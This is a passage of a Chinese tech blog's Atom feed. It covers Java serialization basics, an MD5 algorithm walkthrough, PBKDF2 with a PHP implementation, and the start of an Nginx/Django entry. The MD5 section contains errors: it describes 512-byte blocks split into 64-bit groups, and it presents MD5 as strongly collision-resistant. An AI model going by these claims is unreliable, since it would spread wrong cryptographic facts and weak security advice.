<h2 id="1-漏洞原理"><a href="#1-漏洞原理" class="headerlink" title="1.漏洞原理"></a>1.漏洞原理</h2><h3 id="1-1-Java序列化与反序列化"><a href="#1-1-Java序列化与反序列化" class="headerlink" title="1.1 Java序列化与反序列化"></a>1.1 Java序列化与反序列化</h3><p>&#160; &#160; &#160; &#160;简单的说,把对象转换为字节序列的过程称为对象的序列化。把字节序列恢复为对象的过程称为对象的反序列化。</p>
<p>&#160; &#160; &#160; &#160;Java序列化的目的是为了将某些对象存储到磁盘上,从而长期保存,例如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。<br>或者当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,都会以二进制序列的形式在网络上传送。发送方需要把这个Java对象转换为字节序列,才能在网络上传送;接收方则需要把字节序列再恢复为Java对象。<br>一个序列化与反序列化的典型场景如下:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">import java.io.FileInputStream;</span><br><span class="line">import java.io.FileOutputStream;</span><br><span class="line">import java.io.ObjectInputStream;</span><br><span class="line">import java.io.ObjectOutputStream;</span><br><span class="line">public class deserial &#123;</span><br><span class="line"> public static void main(String args[]) throws Exception &#123;</span><br><span class="line"> String obj = &quot;hello world!&quot;;</span><br><span class="line"></span><br><span class="line"> // 将序列化对象写入文件object.db中</span><br><span class="line"> FileOutputStream fos = new FileOutputStream(&quot;object.db&quot;);</span><br><span class="line"> ObjectOutputStream os = new ObjectOutputStream(fos);</span><br><span class="line"> os.writeObject(obj);</span><br><span class="line"> os.close();</span><br><span class="line"></span><br><span class="line"> // 从文件object.db中读取数据</span><br><span class="line"> FileInputStream fis = new FileInputStream(&quot;object.db&quot;);</span><br><span class="line"> ObjectInputStream ois = new ObjectInputStream(fis);</span><br><span class="line"></span><br><span class="line"> // 通过反序列化恢复对象obj</span><br><span class="line"> String obj2 = (String)ois.readObject();</span><br><span class="line"> System.out.println(obj2);</span><br><span class="line"> ois.close();</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
</summary>
<category term="Java" scheme="http://32t.github.io/tags/Java/"/>
<category term="漏洞" scheme="http://32t.github.io/tags/%E6%BC%8F%E6%B4%9E/"/>
<category term="反序列化" scheme="http://32t.github.io/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
</entry>
<entry>
<title>MD5 算法介绍</title>
<link href="http://32t.github.io/2016/07/03/MD5-%E7%AE%97%E6%B3%95%E4%BB%8B%E7%BB%8D/"/>
<id>http://32t.github.io/2016/07/03/MD5-算法介绍/</id>
<published>2016-07-03T05:41:49.000Z</published>
<updated>2016-07-03T06:02:25.000Z</updated>
<content type="html"><p>&#160; &#160; &#160; &#160;MD5即Message-Digest Algorithm 5(信息-摘要算法5),用于确保信息传输完整一致。是计算机广泛使用的杂凑算法之一(又译摘要算法、哈希算法),主流编程语言普遍已有MD5实现。将数据(如汉字)运算为另一固定长度值,是杂凑算法的基础原理,MD5的前身有MD2、MD3和MD4。</p>
<p>&#160; &#160; &#160; &#160;MD5算法具有以下特点:</p>
<ol>
<li>压缩性:任意长度的数据,算出的MD5值长度都是固定的。</li>
<li>容易计算:从原数据计算出MD5值很容易。</li>
<li>抗修改性:对原数据进行任何改动,哪怕只修改1个字节,所得到的MD5值都有很大区别。</li>
<li>强抗碰撞:已知原数据和其MD5值,想找到一个具有相同MD5值的数据(即伪造数据)是非常困难的。</li>
</ol>
<p>&#160; &#160; &#160; &#160;MD5的作用是让大容量信息在用数字签名软件签署私人密钥前被”压缩”成一种保密的格式(就是把一个任意长度的字节串变换成一定长的十六进制数字串)。除了MD5以外,其中比较有名的还有sha-1、RIPEMD以及Haval等。</p>
<a id="more"></a>
<h1 id="MD5算法历史"><a href="#MD5算法历史" class="headerlink" title="MD5算法历史"></a>MD5算法历史</h1><ol>
<li><p>MD2</p>
<p>Rivest在1989年开发出MD2算法。在这个算法中,首先对信息进行数据补位,使信息的字节长度是16的倍数。然后,以一个16位的检验和追加到信息末尾,并且根据这个新产生的信息计算出散列值。后来,Rogier和Chauvaud发现如果忽略了检验将和MD2产生冲突。MD2算法加密后结果是唯一的(即不同信息加密后的结果不同)。</p>
</li>
<li><p>MD4</p>
<p>为了加强算法的安全性,Rivest在1990年又开发出MD4算法。MD4算法同样需要填补信息以确保信息的比特位长度减去448后能被512整除(信息比特位长度mod 512 = 448)。然后,一个以64位二进制表示的信息的最初长度被添加进来。信息被处理成512位damg?rd/merkle迭代结构的区块,而且每个区块要通过三个不同步骤的处理。Den boer和Bosselaers以及其他人很快的发现了攻击MD4版本中第一步和第三步的漏洞。Dobbertin向大家演示了如何利用一部普通的个人电脑在几分钟内找到MD4完整版本中的冲突(这个冲突实际上是一种漏洞,它将导致对不同的内容进行加密却可能得到相同的加密后结果)。毫无疑问,MD4就此被淘汰掉了。</p>
<p>尽管MD4算法在安全上有个这么大的漏洞,但它对在其后才被开发出来的好几种信息安全加密算法的出现却有着不可忽视的引导作用。</p>
</li>
<li><p>MD5</p>
<p>1991年,Rivest开发出技术上更为趋近成熟的md5算法。它在MD4的基础上增加了”安全-带子”(safety-belts)的概念。虽然MD5比MD4复杂度大一些,但却更为安全。这个算法很明显的由四个和MD4设计有少许不同的步骤组成。在MD5算法中,信息-摘要的大小和填充的必要条件与MD4完全相同。Den boer和Bosselaers曾发现MD5算法中的假冲突(pseudo-collisions),但除此之外就没有其他被发现的加密后结果了。</p>
</li>
</ol>
<h1 id="MD5算法功能"><a href="#MD5算法功能" class="headerlink" title="MD5算法功能"></a>MD5算法功能</h1><ol>
<li><p>防止被篡改:</p>
<ol>
<li>比如发送一个电子文档,发送前,我先得到MD5的输出结果a。然后在对方收到电子文档后,对方也得到一个MD5的输出结果b。如果a与b一样就代表中途未被篡改。</li>
<li>比如我提供文件下载,为了防止不法分子在安装程序中添加木马,我可以在网站上公布由安装文件得到的MD5输出结果。</li>
<li>SVN在检测文件是否在CheckOut后被修改过,也是用到了MD5.</li>
</ol>
</li>
<li><p>防止直接看到明文:<br>现在很多网站在数据库存储用户的密码的时候都是存储用户密码的MD5值。这样就算不法分子得到数据库的用户密码的MD5值,也无法知道用户的密码(其实这样是不安全的,后面我会提到)。(比如在UNIX系统中用户的密码就是以MD5(或其它类似的算法)经加密后存储在文件系统中。当用户登录的时候,系统把用户输入的密码计算成MD5值,然后再去和保存在文件系统中的MD5值进行比较,进而确定输入的密码是否正确。通过这样的步骤,系统在并不知道用户密码的明码的情况下就可以确定用户登录系统的合法性。这不但可以避免用户的密码被具有系统管理员权限的用户知道,而且还在一定程度上增加了密码被破解的难度。)</p>
</li>
<li><p>防止抵赖(数字签名):</p>
<p>这需要一个第三方认证机构。例如A写了一个文件,认证机构对此文件用MD5算法产生摘要信息并做好记录。若以后A说这文件不是他写的,权威机构只需对此文件重新产生摘要信息,然后跟记录在册的摘要信息进行比对,相同的话,就证明是A写的了。这就是所谓的“数字签名”。</p>
</li>
</ol>
<h1 id="MD5算法原理"><a href="#MD5算法原理" class="headerlink" title="MD5算法原理"></a>MD5算法原理</h1><p>对MD5算法简要的叙述可以为:MD5以512位分组来处理输入的信息,且每一分组又被划分为16个32位子分组,经过了一系列的处理后,算法的输出由四个32位分组组成,将这四个32位分组级联后将生成一个128位散列值。</p>
<h2 id="第一步、填充:"><a href="#第一步、填充:" class="headerlink" title="第一步、填充:"></a>第一步、填充:</h2><p>如果输入信息的长度(bit)对512求余的结果不等于448,就需要填充使得对512求余的结果等于448。填充的方法是填充一个1和n个0。填充完后,信息的长度就为N*512+448(bit);</p>
<h2 id="第二步、记录信息长度:"><a href="#第二步、记录信息长度:" class="headerlink" title="第二步、记录信息长度:"></a>第二步、记录信息长度:</h2><p>用64位来存储填充前信息长度。这64位加在第一步结果的后面,这样信息长度就变为<code>N*512+448+64=(N+1)*512</code>位。</p>
<h2 id="第三步、装入标准的幻数(四个整数):"><a href="#第三步、装入标准的幻数(四个整数):" class="headerlink" title="第三步、装入标准的幻数(四个整数):"></a>第三步、装入标准的幻数(四个整数):</h2><p>标准的幻数(物理顺序)是</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">A=(01234567)16,B=(89ABCDEF)16,C=(FEDCBA98)16,D=(76543210)16</span><br></pre></td></tr></table></figure>
<p>如果在程序中定义应该是<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">A=0X67452301L,B=0XEFCDAB89L,C=0X98BADCFEL,D=0X10325476L</span><br></pre></td></tr></table></figure></p>
<p>因为是小端的原因。</p>
<h2 id="第四步、分组个数(N-1)次四轮循环运算"><a href="#第四步、分组个数(N-1)次四轮循环运算" class="headerlink" title="第四步、分组个数(N+1)次四轮循环运算"></a>第四步、分组个数(N+1)次四轮循环运算</h2><ol>
<li>将每一512字节细分成16个小组,每个小组64位(8个字节)</li>
<li><p>定义四个线性函数(&amp;是与,|是或,~是非,^是异或)</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">F(X,Y,Z)=(X&amp;Y)|((~X)&amp;Z)</span><br><span class="line">G(X,Y,Z)=(X&amp;Z)|(Y&amp;(~Z))</span><br><span class="line">H(X,Y,Z)=X^Y^Z</span><br><span class="line">I(X,Y,Z)=Y^(X|(~Z))</span><br></pre></td></tr></table></figure>
</li>
<li><p>设Mj表示消息的第j个子分组(从0到15),&lt;&lt;&lt;s表示循环左移s位,则四种操作为:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">FF(a,b,c,d,M[j],s,t[i])表示a=b+((a+F(b,c,d)+M[j]+t[i])&lt;&lt;&lt;s)</span><br><span class="line">GG(a,b,c,d,M[j],s,t[i])表示a=b+((a+G(b,c,d)+M[j]+t[i])&lt;&lt;&lt;s)</span><br><span class="line">HH(a,b,c,d,M[j],s,t[i])表示a=b+((a+H(b,c,d)+M[j]+t[i])&lt;&lt;&lt;s)</span><br><span class="line">II(a,b,c,d,M[j],s,t[i])表示a=b+((a+I(b,c,d)+M[j]+t[i])&lt;&lt;&lt;s)</span><br></pre></td></tr></table></figure>
<p>T[i]等于4294967296*abs(sin(i))所得结果的整数部分,其中k用弧度来表示。(这样做是为了通过正弦函数和幂函数来进一步消除变换中的线性) 4294967296=2^32</p>
</li>
<li><p>四轮运算<br>第一轮</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">a=FF(a,b,c,d,M0,7,0xd76aa478)</span><br><span class="line">b=FF(d,a,b,c,M1,12,0xe8c7b756)</span><br><span class="line">c=FF(c,d,a,b,M2,17,0x242070db)</span><br><span class="line">d=FF(b,c,d,a,M3,22,0xc1bdceee)</span><br><span class="line">a=FF(a,b,c,d,M4,7,0xf57c0faf)</span><br><span class="line">b=FF(d,a,b,c,M5,12,0x4787c62a)</span><br><span class="line">c=FF(c,d,a,b,M6,17,0xa8304613)</span><br><span class="line">d=FF(b,c,d,a,M7,22,0xfd469501)</span><br><span class="line">a=FF(a,b,c,d,M8,7,0x698098d8)</span><br><span class="line">b=FF(d,a,b,c,M9,12,0x8b44f7af)</span><br><span class="line">c=FF(c,d,a,b,M10,17,0xffff5bb1)</span><br><span class="line">d=FF(b,c,d,a,M11,22,0x895cd7be)</span><br><span class="line">a=FF(a,b,c,d,M12,7,0x6b901122)</span><br><span class="line">b=FF(d,a,b,c,M13,12,0xfd987193)</span><br><span class="line">c=FF(c,d,a,b,M14,17,0xa679438e)</span><br><span class="line">d=FF(b,c,d,a,M15,22,0x49b40821)</span><br></pre></td></tr></table></figure>
</li>
</ol>
<p>第二轮<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">a=GG(a,b,c,d,M1,5,0xf61e2562)</span><br><span class="line">b=GG(d,a,b,c,M6,9,0xc040b340)</span><br><span class="line">c=GG(c,d,a,b,M11,14,0x265e5a51)</span><br><span class="line">d=GG(b,c,d,a,M0,20,0xe9b6c7aa)</span><br><span class="line">a=GG(a,b,c,d,M5,5,0xd62f105d)</span><br><span class="line">b=GG(d,a,b,c,M10,9,0x02441453)</span><br><span class="line">c=GG(c,d,a,b,M15,14,0xd8a1e681)</span><br><span class="line">d=GG(b,c,d,a,M4,20,0xe7d3fbc8)</span><br><span class="line">a=GG(a,b,c,d,M9,5,0x21e1cde6)</span><br><span class="line">b=GG(d,a,b,c,M14,9,0xc33707d6)</span><br><span class="line">c=GG(c,d,a,b,M3,14,0xf4d50d87)</span><br><span class="line">d=GG(b,c,d,a,M8,20,0x455a14ed)</span><br><span class="line">a=GG(a,b,c,d,M13,5,0xa9e3e905)</span><br><span class="line">b=GG(d,a,b,c,M2,9,0xfcefa3f8)</span><br><span class="line">c=GG(c,d,a,b,M7,14,0x676f02d9)</span><br><span class="line">d=GG(b,c,d,a,M12,20,0x8d2a4c8a)</span><br></pre></td></tr></table></figure></p>
<p>第三轮<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">a=HH(a,b,c,d,M5,4,0xfffa3942)</span><br><span class="line">b=HH(d,a,b,c,M8,11,0x8771f681)</span><br><span class="line">c=HH(c,d,a,b,M11,16,0x6d9d6122)</span><br><span class="line">d=HH(b,c,d,a,M14,23,0xfde5380c)</span><br><span class="line">a=HH(a,b,c,d,M1,4,0xa4beea44)</span><br><span class="line">b=HH(d,a,b,c,M4,11,0x4bdecfa9)</span><br><span class="line">c=HH(c,d,a,b,M7,16,0xf6bb4b60)</span><br><span class="line">d=HH(b,c,d,a,M10,23,0xbebfbc70)</span><br><span class="line">a=HH(a,b,c,d,M13,4,0x289b7ec6)</span><br><span class="line">b=HH(d,a,b,c,M0,11,0xeaa127fa)</span><br><span class="line">c=HH(c,d,a,b,M3,16,0xd4ef3085)</span><br><span class="line">d=HH(b,c,d,a,M6,23,0x04881d05)</span><br><span class="line">a=HH(a,b,c,d,M9,4,0xd9d4d039)</span><br><span class="line">b=HH(d,a,b,c,M12,11,0xe6db99e5)</span><br><span class="line">c=HH(c,d,a,b,M15,16,0x1fa27cf8)</span><br><span class="line">d=HH(b,c,d,a,M2,23,0xc4ac5665)</span><br></pre></td></tr></table></figure></p>
<p>第四轮<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">a=II(a,b,c,d,M0,6,0xf4292244)</span><br><span class="line">b=II(d,a,b,c,M7,10,0x432aff97)</span><br><span class="line">c=II(c,d,a,b,M14,15,0xab9423a7)</span><br><span class="line">d=II(b,c,d,a,M5,21,0xfc93a039)</span><br><span class="line">a=II(a,b,c,d,M12,6,0x655b59c3)</span><br><span class="line">b=II(d,a,b,c,M3,10,0x8f0ccc92)</span><br><span class="line">c=II(c,d,a,b,M10,15,0xffeff47d)</span><br><span class="line">d=II(b,c,d,a,M1,21,0x85845dd1)</span><br><span class="line">a=II(a,b,c,d,M8,6,0x6fa87e4f)</span><br><span class="line">b=II(d,a,b,c,M15,10,0xfe2ce6e0)</span><br><span class="line">c=II(c,d,a,b,M6,15,0xa3014314)</span><br><span class="line">d=II(b,c,d,a,M13,21,0x4e0811a1)</span><br><span class="line">a=II(a,b,c,d,M4,6,0xf7537e82)</span><br><span class="line">b=II(d,a,b,c,M11,10,0xbd3af235)</span><br><span class="line">c=II(c,d,a,b,M2,15,0x2ad7d2bb)</span><br><span class="line">d=II(b,c,d,a,M9,21,0xeb86d391)</span><br></pre></td></tr></table></figure></p>
<p><img src="http://i1.piimg.com/4851/a6463d1e440cd81c.png" alt="image"><br>每一轮的每一个操作都可以用上面的图片表示,在第一轮的第一个操作中,F 代表了 F 函数,第一个操作结束后,A 变成了第一轮中的 D,B 为第一轮的计算结果,C为第一轮中的 B,D 为第一轮中的 C,在第二轮中 A 即为 D, 另外三个也符合算法的规则。</p>
<ol>
<li>每轮循环后,将A,B,C,D分别加上a,b,c,d,然后进入下一循环。</li>
<li>最终输出长度为128bit 的ABCD,即为散列值。</li>
</ol>
</content>
<summary type="html">
<p>&#160; &#160; &#160; &#160;MD5即Message-Digest Algorithm 5(信息-摘要算法5),用于确保信息传输完整一致。是计算机广泛使用的杂凑算法之一(又译摘要算法、哈希算法),主流编程语言普遍已有MD5实现。将数据(如汉字)运算为另一固定长度值,是杂凑算法的基础原理,MD5的前身有MD2、MD3和MD4。</p>
<p>&#160; &#160; &#160; &#160;MD5算法具有以下特点:</p>
<ol>
<li>压缩性:任意长度的数据,算出的MD5值长度都是固定的。</li>
<li>容易计算:从原数据计算出MD5值很容易。</li>
<li>抗修改性:对原数据进行任何改动,哪怕只修改1个字节,所得到的MD5值都有很大区别。</li>
<li>强抗碰撞:已知原数据和其MD5值,想找到一个具有相同MD5值的数据(即伪造数据)是非常困难的。</li>
</ol>
<p>&#160; &#160; &#160; &#160;MD5的作用是让大容量信息在用数字签名软件签署私人密钥前被”压缩”成一种保密的格式(就是把一个任意长度的字节串变换成一定长的十六进制数字串)。除了MD5以外,其中比较有名的还有sha-1、RIPEMD以及Haval等。</p>
</summary>
<category term="密码学" scheme="http://32t.github.io/tags/%E5%AF%86%E7%A0%81%E5%AD%A6/"/>
<category term="MD5" scheme="http://32t.github.io/tags/MD5/"/>
<category term="算法" scheme="http://32t.github.io/tags/%E7%AE%97%E6%B3%95/"/>
</entry>
<entry>
<title>HMAC 用作用户登录</title>
<link href="http://32t.github.io/2016/07/02/HMAC-%E7%94%A8%E4%BD%9C%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95/"/>
<id>http://32t.github.io/2016/07/02/HMAC-用作用户登录/</id>
<published>2016-07-02T06:24:52.000Z</published>
<updated>2016-07-02T06:24:52.000Z</updated>
<content type="html"></content>
<summary type="html">
</summary>
</entry>
<entry>
<title>PBKDF2介绍</title>
<link href="http://32t.github.io/2016/07/02/PBKDF2%E4%BB%8B%E7%BB%8D/"/>
<id>http://32t.github.io/2016/07/02/PBKDF2介绍/</id>
<published>2016-07-02T05:52:42.000Z</published>
<updated>2016-07-02T06:01:47.000Z</updated>
<content type="html"><h1 id="PBKDF2是什么"><a href="#PBKDF2是什么" class="headerlink" title="PBKDF2是什么"></a>PBKDF2是什么</h1><p>PBKDF2(Password-Based Key Derivation Function)是一个用来导出密钥的函数,常用于生成加密的密码。</p>
<p>它的基本原理是通过一个伪随机函数(例如HMAC函数),把明文和一个盐值作为输入参数,然后重复进行运算,并最终产生密钥。</p>
<p>如果重复的次数足够大,破解的成本就会变得很高。而盐值的添加也会增加“彩虹表”攻击的难度。</p>
<h1 id="破解PBKDF2生成的密码要多久"><a href="#破解PBKDF2生成的密码要多久" class="headerlink" title="破解PBKDF2生成的密码要多久"></a>破解PBKDF2生成的密码要多久</h1><p><img src="https://sfault-image.b0.upaiyun.com/200/341/2003417156-568cefd8632e8_articlex" alt="image"></p>
<p>上图是14年在一台多GPU的高端PC上进行的测试,可以看到,在4个单词(随机从Diceware列表选择)的情况下,如果每秒能猜2万个密码,则要猜出密码平均需要2890年。如果密码的长度再高点,则这个时间是天文数字了。</p>
<a id="more"></a>
<h1 id="PBKDF2函数的定义"><a href="#PBKDF2函数的定义" class="headerlink" title="PBKDF2函数的定义"></a>PBKDF2函数的定义</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DK = PBKDF2(PRF, Password, Salt, c, dkLen)</span><br></pre></td></tr></table></figure>
<p>PRF是一个伪随机函数,例如HASH_HMAC函数,它会输出长度为hLen的结果。</p>
<ul>
<li>Password是用来生成密钥的原文密码。</li>
<li>Salt是一个加密用的盐值。</li>
<li>c是进行重复计算的次数。</li>
<li>dkLen是期望得到的密钥的长度。</li>
<li>DK是最后产生的密钥。</li>
</ul>
<h1 id="PBKDF2的算法流程"><a href="#PBKDF2的算法流程" class="headerlink" title="PBKDF2的算法流程"></a>PBKDF2的算法流程</h1><p>DK的值由一个以上的block拼接而成。block的数量是dkLen/hLen的值。就是说如果PRF输出的结果比期望得到的密钥长度要短,则要通过拼接多个结果以满足密钥的长度:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DK = T1 || T2 || ... || Tdklen/hlen</span><br></pre></td></tr></table></figure>
<p>而每个block则通过则通过函数F得到:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Ti = F(Password, Salt, c, i)</span><br></pre></td></tr></table></figure>
<p>在函数F里,PRF会进行c次的运算,然后把得到的结果进行异或运算,得到最终的值。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">F(Password, Salt, c, i) = U1 ^ U2 ^ ... ^ Uc</span><br></pre></td></tr></table></figure>
<p>第一次,PRF会使用Password作为key,Salt拼接上编码成大字节序的32位整型的i作为盐值进行运算。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">U1 = PRF(Password, Salt || INT_32_BE(i))</span><br></pre></td></tr></table></figure>
<p>而后续的c-1次则会使用上次得到的结果作为盐值。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">U2 = PRF(Password, U1)</span><br><span class="line">...</span><br><span class="line">Uc = PRF(Password, Uc-1)</span><br></pre></td></tr></table></figure>
<p>函数F大致的流程图如下:<br><img src="https://sfault-image.b0.upaiyun.com/344/660/3446601878-568cf7d060dd8_articlex" alt="image"></p>
<h1 id="PBKDF2算法在PHP中的使用"><a href="#PBKDF2算法在PHP中的使用" class="headerlink" title="PBKDF2算法在PHP中的使用"></a>PBKDF2算法在PHP中的使用</h1><p>从PHP5.5版本开始,PHP提供了原生的函数hash_pbkdf2实现PBKDF2算法:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">string hash_pbkdf2 ( string $algo , string $password , string $salt , int $iterations [, int $length = 0 [, bool $raw_output = false ]] )</span><br></pre></td></tr></table></figure>
<p>具体用法请看:<a href="http://php.net/manual/en/function.hash-pbkdf2.php" target="_blank" rel="external">http://php.net/manual/en/function.hash-pbkdf2.php</a></p>
<p>而在这个版本之前,我们可以使用其他用户写的兼容方法,例如:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">if (!function_exists(&apos;hash_pbkdf2&apos;))</span><br><span class="line">&#123;</span><br><span class="line"> function hash_pbkdf2($algo, $password, $salt, $count, $length = 0, $raw_output = false)</span><br><span class="line"> &#123;</span><br><span class="line"> if (!in_array(strtolower($algo), hash_algos())) trigger_error(__FUNCTION__ . &apos;(): Unknown hashing algorithm: &apos; . $algo, E_USER_WARNING);</span><br><span class="line"> if (!is_numeric($count)) trigger_error(__FUNCTION__ . &apos;(): expects parameter 4 to be long, &apos; . gettype($count) . &apos; given&apos;, E_USER_WARNING);</span><br><span class="line"> if (!is_numeric($length)) trigger_error(__FUNCTION__ . &apos;(): expects parameter 5 to be long, &apos; . gettype($length) . &apos; given&apos;, E_USER_WARNING);</span><br><span class="line"> if ($count &lt;= 0) trigger_error(__FUNCTION__ . &apos;(): Iterations must be a positive integer: &apos; . $count, E_USER_WARNING);</span><br><span class="line"> if ($length &lt; 0) trigger_error(__FUNCTION__ . &apos;(): Length must be greater than or equal to 0: &apos; . $length, E_USER_WARNING);</span><br><span class="line"></span><br><span class="line"> $output = &apos;&apos;;</span><br><span class="line"> $block_count = $length ? ceil($length / strlen(hash($algo, &apos;&apos;, $raw_output))) : 1;</span><br><span class="line"> for ($i = 1; $i &lt;= $block_count; $i++)</span><br><span class="line"> &#123;</span><br><span class="line"> $last = $xorsum = hash_hmac($algo, $salt . pack(&apos;N&apos;, $i), $password, true);</span><br><span class="line"> for ($j = 1; $j &lt; $count; $j++)</span><br><span class="line"> &#123;</span><br><span class="line"> $xorsum ^= ($last = hash_hmac($algo, $last, $password, true));</span><br><span class="line"> &#125;</span><br><span class="line"> $output .= $xorsum;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> if (!$raw_output) $output = bin2hex($output);</span><br><span class="line"> return $length ? substr($output, 0, $length) : $output;</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<p>又或者这个:<a href="https://github.com/rchouinard/hash_pbkdf2-compat" target="_blank" rel="external">https://github.com/rchouinard/hash_pbkdf2-compat</a></p>
<p>基于安全考虑,需要注意以下几点:</p>
<ul>
<li>$algo建议选择SHA256或更安全的哈希算法。</li>
<li>$salt至少为8字节,且要为随机数。</li>
<li><p>$count迭代次数建议至少为50000次,除非有严格的性能要求。<br>参考:</p>
</li>
<li><p><a href="http://en.wikipedia.org/wiki/PBKDF2" target="_blank" rel="external">http://en.wikipedia.org/wiki/PBKDF2</a></p>
</li>
<li><a href="http://php.net/manual/en/function.hash-pbkdf2.php" target="_blank" rel="external">http://php.net/manual/en/function.hash-pbkdf2.php</a></li>
<li><a href="https://blog.agilebits.com/2014/03/10/crackers-report-great-news-for-1password-4/" target="_blank" rel="external">https://blog.agilebits.com/2014/03/10/crackers-report-great-news-for-1password-4/</a></li>
</ul>
</content>
<summary type="html">
<h1 id="PBKDF2是什么"><a href="#PBKDF2是什么" class="headerlink" title="PBKDF2是什么"></a>PBKDF2是什么</h1><p>PBKDF2(Password-Based Key Derivation Function)是一个用来导出密钥的函数,常用于生成加密的密码。</p>
<p>它的基本原理是通过一个伪随机函数(例如HMAC函数),把明文和一个盐值作为输入参数,然后重复进行运算,并最终产生密钥。</p>
<p>如果重复的次数足够大,破解的成本就会变得很高。而盐值的添加也会增加“彩虹表”攻击的难度。</p>
<h1 id="破解PBKDF2生成的密码要多久"><a href="#破解PBKDF2生成的密码要多久" class="headerlink" title="破解PBKDF2生成的密码要多久"></a>破解PBKDF2生成的密码要多久</h1><p><img src="https://sfault-image.b0.upaiyun.com/200/341/2003417156-568cefd8632e8_articlex" alt="image"></p>
<p>上图是14年在一台多GPU的高端PC上进行的测试,可以看到,在4个单词(随机从Diceware列表选择)的情况下,如果每秒能猜2万个密码,则要猜出密码平均需要2890年。如果密码的长度再高点,则这个时间是天文数字了。</p>
</summary>
<category term="PBKDF" scheme="http://32t.github.io/tags/PBKDF/"/>
<category term="PRF" scheme="http://32t.github.io/tags/PRF/"/>
</entry>
<entry>
<title>Nginx+uWSGI+Django 优化</title>
<link href="http://32t.github.io/2016/04/09/nginx_uwgsi_django_optmi/"/>
<id>http://32t.github.io/2016/04/09/nginx_uwgsi_django_optmi/</id>
<published>2016-04-09T12:50:32.000Z</published>
